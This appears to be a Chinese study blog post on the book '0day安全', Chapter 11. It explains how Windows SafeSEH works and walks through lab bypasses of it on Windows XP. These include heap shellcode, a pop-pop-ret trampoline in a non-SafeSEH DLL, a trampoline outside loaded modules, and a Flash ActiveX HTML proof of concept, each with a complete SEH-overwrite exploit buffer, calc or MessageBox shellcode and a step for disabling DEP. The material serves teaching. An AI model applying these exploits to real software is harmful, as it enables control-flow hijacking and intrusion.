0day安全 | Chapter 11 亡羊补牢:SafeSEH

启程

对于SafeSEH我倒是比较陌生,之前也没接触过。现在要好好看一看它的真面目了!

SafeSEH对异常处理的保护原理

在XP SP2及之后版本中,SafeSEH被引入。它的原理是在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,发现不可靠时终止。它需要编译器与操作系统的双重支持。

/SafeSEH链接选项将让程序具有SafeSEH功能。该选项在VS 2003及以后默认启用。编译器在编译程序时将程序所有异常处理函数地址提取出来编入一张安全SEH表,将此表放入程序映像。当程序调用异常处理函数时会将函数地址与安全SEH表匹配,检查调用的异常处理函数是否位于该表中。

我们可以通过在VS命令行中查看该表:

dumpbin /loadconfig FILENAME

异常处理函数的调用是通过RtlDispatchException()实现的,SafeSEH机制也从这里开始。它的保护措施如下:

  1. 检查异常处理链是否位于当前程序栈中。如果不在,则终止对异常处理函数的调用
  2. 检查异常处理函数指针是否指向当前程序栈中,如果是,则终止调用
  3. 在前两项检查通过后,调用RtlIsValidHandler(),对异常处理函数的有效性进行验证。这个函数的检测机制如下(伪码):
bool RtlIsValidHandler(handler)
{
    if(handler is in an image){ // 在加载模块内存空间内
        // 设置NO_SEH标识,则程序内异常会被忽略
        if(image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
            return false;
        if(image has a SafeSEH table){
            if(handler found in the table)
                return true;
            else
                return false;
        }
        if(iamge is a .NET assembly with the ILonly flag set)
            return false;
    }
    // 在不可执行页
    if(handler is on a non-executable image){
        // DEP关闭
        if(ExecuteDispatchEnable bit set in the process flags)
            return true;
        else
            return ACCESS_VIOLATION;
    }
    // 在加载模块内存之外,且在可执行页
    if(handler is not in an image){
        // 允许在加载模块内存空间外执行
        if(ImageDispatchEnable bit set in the process flags)
            return true;
        else
            return false;
    }
    return true;
}

上面所有返回true的地方就是可以绕过的可能性:

  • 异常处理函数位于加载模块内存范围内,且SafeSEH启用,但异常处理函数地址包含在SafeSEH表中
  • 异常处理函数位于加载模块内存范围内,相应模块未启用SafeSEH,同时相应模块不是纯IL
  • 异常处理函数位于加载模块内存范围外,DEP关闭

如果暂时不考虑DEP,则针对上述三种可能性的考虑如下:

  • 针对第一种,我们有两种思路:一是清空SafeSEH表,造成该模块未启用SafeSEH的假象;二是将我们的指令注册到SafeSEH表中。但是由于SafeSEH表在内存中是加密存放的,所以这一点比较难
  • 针对第二种,可以利用未启用SafeSEH模块中的指令做跳板。在加载模块中找到一个未启用SafeSEH的模块也不困难
  • 针对第三种,只需要在加载模块内存范围外找到一个跳板指令就可以转入shellcode,这个比较容易实现

当然,还有更简单的:

  • 不攻击SEH(如果你能直接覆盖返回地址或者虚函数表的话)
  • 这个校验存在严重缺陷——如果SEH异常函数指针指向堆区,即使安全校验已经发现SEH不可信,仍然会去调用已经被修改过的异常处理函数。因此只要把shellcode布置在堆区就可以直接跳转执行

从上面的说明可以看出,SafeSEH需要操作系统编译器双重支持才可以实现。

这里讲一下DEP的问题:

在XP上,DEP默认是部分打开的:

可以通过如下方法完全关闭:

首先在文件夹选项中选择显示受保护的系统文件,然后在系统分区根目录下编辑boot.ini文件。它默认可能是如下的形式:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

将最后一行的/noexecute=optin改为/execute,保存、重启。

重启后,可以发现原来的数据执行保护页的单选框已经变成了灰色:

OK。下面进入实战环节(不考虑DEP)。

攻击返回地址绕过SafeSEH

即启用SafeSEH但未启用GS的情况,直接攻击函数返回地址就好。

利用虚函数绕过SafeSEH

与"0day安全 Chapter 10 栈中的守护天使:GS"介绍的绕过GS的思路类似。

从堆中绕过SafeSEH

其实,这就是一个最基础的SEH攻击,只不过shellcode来源于堆中。仅仅把shellcode放在堆中就可以绕过SafeSEH,这个机制还是满有意思的,它和早些年国内对留学海归人才的过度追捧很像(只是刚好想到了,单纯做比喻用。凡是人才都值得企业去挖掘,我没有歧视哪方的意思)。

测试代码如下:

#include <stdlib.h>
#include <string.h>

char shellcode[] = 

"\x90...";

void test(char *input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	zero = 1 / zero;
}

void main()
{
	char *buf = (char *)malloc(500);
	__asm INT 3
	strcpy(buf, shellcode);
	test(shellcode);
}

编译完成后看一下是否有SafeSEH:

有的。

事实上,我们还可以在OD中看到有GS,但是不影响,因为test中的除零操作在函数返回前就引发了异常。这也正是上一章绕过GS的一种思路。

在我的XP环境里,__asm INT 3后依然不能在OD中进行单步,所以这里还是按老办法变通一下,在后面需要中断的地方添加__asm INT 3来查看内存。

shellcode的组成我们已经很熟悉了,就是“必要的填充/shellcode/堆中shellcode地址”。所以前期的调试工作就是为了收集三个信息:

  • shellcode在堆中的首地址;这个可以通过在mallocint 3看到;我这里是0x003928B8
  • shellcode在栈中的首地址;我这里是0x12FE8C
  • test函数的栈顶异常处理函数位置;我这里是0x0012FFB0 + 4(如下图)

用后两个值计算出偏移量,为300,然后构造shellcode即可。我这里用了之前的206字节计算器弹窗:

char shellcode[] = 
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
// shellcode on heap
"\xb8\x28\x39";

测试:

本节到这里结束。我还是想说,这个机制对堆的“纵容”和现实生活中的一些东西真的很有类比性!比如出生在不同的家庭的人,出生在不同国家的人,他们的人生是怎么样的,他们在成长中有什么差异?可以深入思考一下。反过来,为什么微软的工程师们要允许一个这么特殊的放水规则呢?(unsolved)

利用未启用SafeSEH的模块绕过SafeSEH

本节实验的依据是:

异常处理函数位于加载模块内存范围内,相应模块未启用SafeSEH,同时相应模块不是纯IL。这样的异常处理函数可以被允许执行。

我们的实验思路是:

  1. 用VC6.0编译一个不使用SafeSEH的dll,让测试程序去加载它
  2. 在上述dll中我们用内联汇编写入一个pop pop ret,作为跳转指令
  3. 测试程序存在经典栈溢出,可以覆盖SEH

首先在VC6.0中创建这个dll:

注意,由于VC6.0编译的dll默认加载基址为0x10000000,如果不改变它,则PPR的地址中可能包含0x00,这在strcpy时会导致失败。所以我们通过在以下选项卡中加入/base:"0x11120000"来修改加载基址:

dll代码如下:

#include <windows.h>

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}

void jump()
{
	__asm{
		pop eax
		pop eax
		retn
	}
}

测试代码如下:

#include <string.h>
#include <windows.h>
#include <stdio.h>
#include <tchar.h>

char shellcode[] = 

"\x90";

DWORD MyException(void)
{
	printf("There is an exception\n");
	getchar();
	return 1;
}

void test(char *input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	__try{
		zero = 1 / zero;
	}
	__except(MyException())
	{
	
	}
}

int main(int argc, char argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));
	char str[200];
	__asm int 3
	test(shellcode);

	return 0;
}

我们将生成的dll复制到测试程序的目录中去:

然后运行测试程序,会在int 3处中断,在OD中我们使用OllySSEH插件查看SafeSEH在各模块中的状况(这个插件对于SafeSEH的描述有四种:/SafeSEH OFF/SafeSEH ONNo SEHError,分别代表未启用SafeSEH、启用SafeSEH(此时可以右键查看SEH的注册情况)、不支持SafeSEH(即IMAGE_DLLCHARACTERISTICS_NO_SEH标志被设置,模块内异常会被忽略,所以不能作为跳板)、读取错误):

可以发现,的确在我们编译的模块中SafeSEH处于关闭状态。

接着我们在程序加载模块后到我们的模块的空间去找到PPR的位置。我的环境中是0x11121012

OK。又到了排布缓冲区的时候。我们先摸清楚各种偏移。我的环境中的相应地址如下:

  • shellcode在栈中的首地址;我这里是0x12FDB8
  • test函数的栈顶异常处理函数位置;我这里是0x0012FE90 + 4

计算得出偏移量为224

接下来需要注意两个问题:

  1. 这次用的跳转指令是PPR,也就是说会先弹出8个字节再跳转,这样一来,我们需要把真正的弹窗shellcode往后放一些
  2. 经过VS 2008编译的程序,在进入有__try()的函数时会在cookie + 4的地方压入-2(VC6.0下则压入-1)`,如下图所示:

在我的环境中,这个地方也就是ebp-4。在程序进入__try()区域时,程序将根据该__try{}块在函数中的位置而修改成不同的值。如果该函数中有两个__try{}块,则在进入第一个块时这个地方的值将被改为0,进入第二个时将改为1。如果在__try{}中出现异常,将依据这个值调用相应的__except()处理,处理结束后这个值被重新改为-2。当然,如果没有发生异常,程序离开__try{}时这个值也会被改为-2,如下面两图所示:

(进入__try{}前被改为0

(出__try{}时被改回-2

这就导致我们的shellcode可能被它破坏(某4个字节被改为0)。所以,我们考虑把整个弹窗部分放在这个位置的后面(当前环境中,即ebp-4位置的更高处)。于是,最终shellcode构成如下:

为了更清楚地理解排布,我们把一些前面提到的信息在这里汇总:

  • shellcode在栈中的首地址;我这里是0x0012FDB8
  • test函数的栈顶异常处理函数位置;我这里是0x0012FE94
  • ebp指向0x0012FEA0
  • ebp - 40x0012FEFC

可以根据以上信息,自行理解图示。

最终的shellcode如下:

char shellcode[] = 
// 220 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// PPR's address (in our dll)
"\x12\x10\x12\x11"
// 8 nop
"\x90\x90\x90\x90\x90\x90\x90\x90"
// 206 calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd";

去掉int 3并编译后,我们可以在OD中试运行,在加载模块后将断点设在0x11121012,然后F9,看到顺利执行到这里,说明覆盖SEH并绕过了主程序的SafeSEH,劫持控制流成功:

接着,我们单步走到shellcode中:

可以发现有两个地方需要注意:首先是我们的PPR地址0x11121012被当作了指令,幸好它没有影响逻辑流;接着是之前提到的进入__try{}时将我们中间填充的8个nop的后4个字节覆盖为了0x00000000。幸好,这里也没有影响逻辑流。所以最终可以成功弹出计算器。

测试:

那么,如果上面两个地方对逻辑流产生影响了呢?在这种情况下,我们把最初的220个NOP末尾部分用向后跳转的指令代替,以跳过中间被影响的部分。比如,我们可以将217 ~ 220部分替换成0xEB0E9090,我们在OD中看一下这样会有什么效果:

可以发现,跳过了中间部分,跳入了弹窗指令块中。但是由于弹窗指令块最初几条指令被跳过,这样是无法成功弹窗的。因此,我们需要在弹窗部分的开头补充一些nop,使得真正的弹窗部分后移。例如,我们补充8个NOP:

这样一来,又可以成功弹窗。应该说,这种改进使得新的shellcode比之前的版本稳定性更好。

注:可以看到,在main函数中有一个没有被使用到的char str[200]。我一开始以为它是多余的。后来在读了这篇博文后,才知道原来它起到一个抬高栈顶的作用。否则整个程序的栈空间太小,不够装后面的shellcode。


更新

这里从逻辑上讲少了一环:为什么PPR能够返回到我们的shellcode中?关于这一点可以参考MasterMsf 3 渗透模块开发中的解释。


利用加载模块之外的地址绕过SafeSEH

本节实验依据:

异常处理函数位于加载模块内存范围外,DEP关闭。这样的异常处理函数可以被允许执行。

测试代码:

#include <string.h>
#include <windows.h>
#include <stdio.h>
#include <tchar.h>

char shellcode[] =
"\x90...";

DWORD MyException(void)
{
	printf("There is an exception\n");
	getchar();
	return 1;
}

void test(char *input)
{
	char str[200];
	strcpy(str, input);
//   __asm int 3


	int zero = 0;
	__try{
		zero = 1 / zero;
	}
	__except(MyException())
	{
	
	}
}

int main(int argc, char argv[])
{
	//__asm int 3
	test(shellcode);

	return 0;
}

我们看一个加载到内存的程序的内存布局:

可以发现,其中有很多Map类型的映射文件。对此,SafeSEH是无视的。所以我们可以在这些文件中寻找跳转指令,尝试绕过SafeSEH。

当然了,所有已加载模块都是开了SafeSEH的:

所以,我们先要找到一个范围之外的跳板。使用插件搜索得到:

可以发现在0x00280B0B处有一个call [ebp + 0x30]。但是这个地址包含0x00,这意味着我们必须把shellcode放在前面,把这个地址放在字符串最后(这里有一个疑问:为什么要选择call [ebp + 0x30]作为跳板呢?要知道,ebp + 0x30这个位置是处于我们可控制范围之外的,因为0x00280B0B必须要覆盖栈顶的异常处理函数地址,到这里,字符串复制就结束了,而很明显ebp + 0x30是在比这个位置更高的地方,那我们即使跳到[ebp + 0x30]处了又有什么用呢?这个问题在后面会解答)。

我们先收集一波信息:

  • 进入test函数后的SEH情况(从下图可知异常处理函数指针位于0x0012FF60 + 4):
  • ebp: 0x0012ff70
  • 栈上shellcode起始地址:0x0012FE88

偏移量为224。即第221 ~ 224个字节将覆盖异常处理函数指针。

需要注意的一个问题是,在非调试情况下,跳板位于0x00280B0B,而在Ollydbg中,跳板位于0x00290B0B

OK。在排布shellcode之前,我们先回答之前没有解答的问题,因为我们必须知道在call [ebp + 0x30]后控制流被导向了哪里,才能安排shellcode。

我们在OD中运行程序,经过strcpy后,跳入异常处理中。在不断地跟踪后,到达下面这个位置:

此时ecx = 0x00290B0B,即将执行的指令是call ecx。F7单步,成功跳转到我们的跳板上:

此时寄存器情况如下:

那么ebp + 0x30 = 0x0012FAF0处有什么呢?我们在数据窗口中看一下:

0x0012FF60!这正是我们之前覆盖的异常处理函数指针所在位置前4个字节(准确地说,这个位置是SEH异常处理节点指向下一个节点的指针)!这个地方的值是我们可控的!

有了以上信息,再结合之前shellcode必须放在跳板地址前面的限制,我们想到可以在0x0012FF60处放置一个向后跳转的指令,跳到shellcode那里。但是注意,这里只有四个字节空间,不够一个长跳转指令,而短跳转指令跳转范围有限。所以我们考虑在这里放一个短跳转,先往后跳一点,然后在那里放一个长跳转,直接跳到shellcode的起始位置。于是,shellcode的结构如下:

在构造跳转指令时需要计算指令之间的距离。这时要注意,JMP指令在采用相对地址跳转的时候是以JMP下一条指令的地址为基准进行加减的。

在测试时,我将作者的shellcode放入OD中调试,可以正常弹窗,而我的弹计算器的则失败了。通过追踪,我发现问题出在test函数的汇编指令上:

我们上节提到。函数在进入第一个__try时,会将cookie + 4的位置置0,并在出__try时将其恢复为-2。依据这些,再结合图中的指令,可以推断出来ebp - 8处正是cookie。但是我们还可以看到ebp - 0x20的位置上也放了一个cookie与ebp异或后的值。关键问题在于,在进入__try时,这个位置高4字节的地方竟然也被置0(即图中唯一一行灰色代码)!

它导致我的shellcode从

// 206 calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07\xe2"
"\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f"
"\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c\xe1\xb3"
"\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9\xde\x7f\x79\xa4"
"\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66"
"\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b\x7f\xb0"
"\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf\x59\x26\xa4\x66\x23\x7b"
"\x15\x85\x3a\xe8\x3c\x41\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e"
"\xa3\xfa\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e"
"\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f"
"\x90\x91\xc2\xfb\xa5\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7"
"\x06\x34\x1f\x3e\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14"
"\xf7\xa2\xc0\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
// 2 nop
"\x90\x90"
// long jmp
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"
// short jmp
"\xEB\xF6\x90\x90"
// addr of call [ebp + 0x30]
"\x0b\x0b\x29\x00"

变成了

// 206 calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07\xe2"
"\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f"
"\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c\xe1\xb3"
"\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9\xde\x7f\x79\xa4"
"\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66"
"\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b\x7f\xb0"
"\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf\x59\x26\xa4\x66\x23\x7b"
"\x15\x85\x3a\xe8\x3c\x41\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e"
"\xa3\xfa\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e"
"\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f"
"\x90\x91\xc2\xfb\xa5\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7"
"\x06\x34\x1f\x3e\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14"
"\xf7\xa2\xc0\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7"
// here !!!
"\x00\x00\x00\x00"
// long jmp
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"
// short jmp
"\xEB\xF6\x90\x90"
// addr of call [ebp + 0x30]
"\x0b\x0b\x29\x00"

我把payload换成之前的Messagebox弹窗就可以了(只有168个字节,后面是40个nop填充,被覆盖也没关系):

char shellcode[] = 
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 40 nop
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// long jmp
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"
// short jmp
"\xEB\xF6\x90\x90"
// addr of call [ebp + 0x30]
"\x0b\x0b\x28\x00";

测试:

其实整个过程中还有一些可以深入研究的东西,比如在进行异常处理时为什么[ebp + 0x30]处恰好就是SEH节点的后向指针呢?这应该与异常处理的机制有关。另外,为什么我的shellcode后面四个字节会被覆盖成0呢?是不是GS的一些机制我还不了解?(unsolved)

最后引用作者一句话:熟悉、可爱、活泼的对话框是不是又出现了?

利用Adober Flash Player ActiveX控件绕过SafeSEH

我无法从Adobe官网下载旧版FLash Player,在网络上其他地方也没有找到,所以先略过本节。


更新

我的IE版本信息:

终于下载到了!

理论基础:Adobe Flash Player在9.0.124版本之前不支持SafeSEH,所以如果能够在这个控件中找到合适的跳板,就可以绕过SafeSEH。

准备:

  • 具有溢出漏洞的ActiveX控件
  • 未开启SafeSEH的Flash Player
  • 可以触发ActiveX控件中溢出漏洞的PoC页面

下面我们来制作具有溢出漏洞的ActiveX控件:

在VS 2008中创建工程:

然后添加一个可以在Web页面中调用的接口函数:

接着找到函数定义的地方:

在此添加带有漏洞的代码:

// CVulnerAX_SEHCtrl 消息处理程序

DWORD MyException(void)
{
	return 1;
}

void CVulnerAX_SEHCtrl::test(LPCTSTR str)
{
	// AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: 在此添加调度处理程序代码
	printf("aaaa");
	char dest[100];
	sprintf(dest, "%s", str);
	int zero = 0;
	__try
	{
	    zero = 1 / zero;
	}
	__except(MyException())
	{
	}
}

接着如下设置工程属性:

在确认以下条件均满足后生成项目:

WinXP SP3
DEP关闭
VS 2008
禁用优化
在静态库中使用MFC
使用Unicode字符集
release版本

成功生成VulnerAX_SEH.ocx。

接下来在系统中注册这个控件:

下面我们制作可以触发ActiveX控件中溢出漏洞的PoC页面:

首先找到classid:

网页源码如下,需要注意的是其中我们自己的ActiveX控件的classid要用上面的:

<html>  
<body>  
  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">
  <param name="movie" value="1.swf" />
  <param name="quality" value="high" />
  <embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed>
  </object>
  <object classid="clsid:D301257B-57E9-44BE-8EDB-C0F06BE6B55A" id="test"></object>  
  <script>
	var s = "\u9090";
	while (s.length < 60) {
	s += "\u9090";
	}
    test.test(s);  
  </script>  
</body>  
</html>

简单解释一下:

1.swf是一个随意选择的Flash,为的是让浏览器加载Flash控件。之后就是通过script中的内容去向这个控件的漏洞函数传递shellcode。后面的思路就是最基本的覆盖SEH技术。我们把shellcode先用nop填充。

打开网页,到下图这个地方时先不要点:

这时打开OD并附加到IE上,在OD中进入我们的控件模块并找到printf("aaaa")处下断点:

下好断点后,F9,在页面中点击“是”,接着OD中断在刚才的断点处,我们往后单步到sprintf时:

此时SEH链如下:

如图所示,缓冲区起始地址为ebp - 0x88,即0x12e014,而栈顶的SEH处理函数位于0x12e090处。所以我们需要124个填充字节,然后放置跳板。

在寻找跳板时,我的OD意外退出。参考这篇文章,我也通过进入可执行模块Flash9f去手动搜索跳板call [ebp + 0xc]

地址也是0x300b2d1c

接下来我们先把跳板放入shellcode,再次调试:

  <script>
	var s = "\u9090";
	while (s.length < 62) {
		s += "\u9090";
	}
	s += "\u2d1c\u300b";
	test.test(s);  
  </script>

发现跳板最后会返回到的ebp + 0xc正是一个SEH节点的后向指针处。我们看一下这个地方:

发现之前的跳板地址0x300b2d1c及其后面的垃圾指令会干扰shellcode执行,所以我们考虑在这里开始的地方(0x0012E08C)放置一个短跳,跳过后面的垃圾指令。

最终shellcode如下:

    // 120  nop
	var s = "\u9090";
	while (s.length < 60) {
		s += "\u9090";
	}
	// 4   short jmp
	s += "\u0eeb\u9090";
	// 4    ptr to call ebp+0xc
	s += "\u2d1c\u300b";
	// 8    nop   
	s += "\u9090\u9090\u9090\u9090";
	// 168  messagebox
	s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91";
	s += "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332";
	s += "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c";
	s += "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505";
	s += "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b";
	s += "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06";
	s += "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c";
	s += "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd";
	s += "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33";
	s += "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050";
	s += "\uff53\ufc57\uff53\uf857";

保存并重新打开页面,用OD附加,跟到跳板执行后:

说明shellcode正常执行。

测试:

整个实验中需要注意的是,Web页面的编码为Unicode,在填写shellcode时注意格式和顺序。

可以通过以下代码来将\x编码的shellcode转换为\u编码:

z = '0xfc0x68...'

i = 0
w = ""
lz = z.split("0x")[1:]
while(i < len(lz)):
    if(len(lz[i]) == 1):
        lz[i] = "0" + lz[i]
    if(len(lz[i+1]) == 1):
        lz[i+1] = "0" + lz[i+1]
    w += '\\u' + lz[i+1] + lz[i]
    i += 2

print(w)

总结

可以看看别人的笔记:

Per Aspera Ad Astra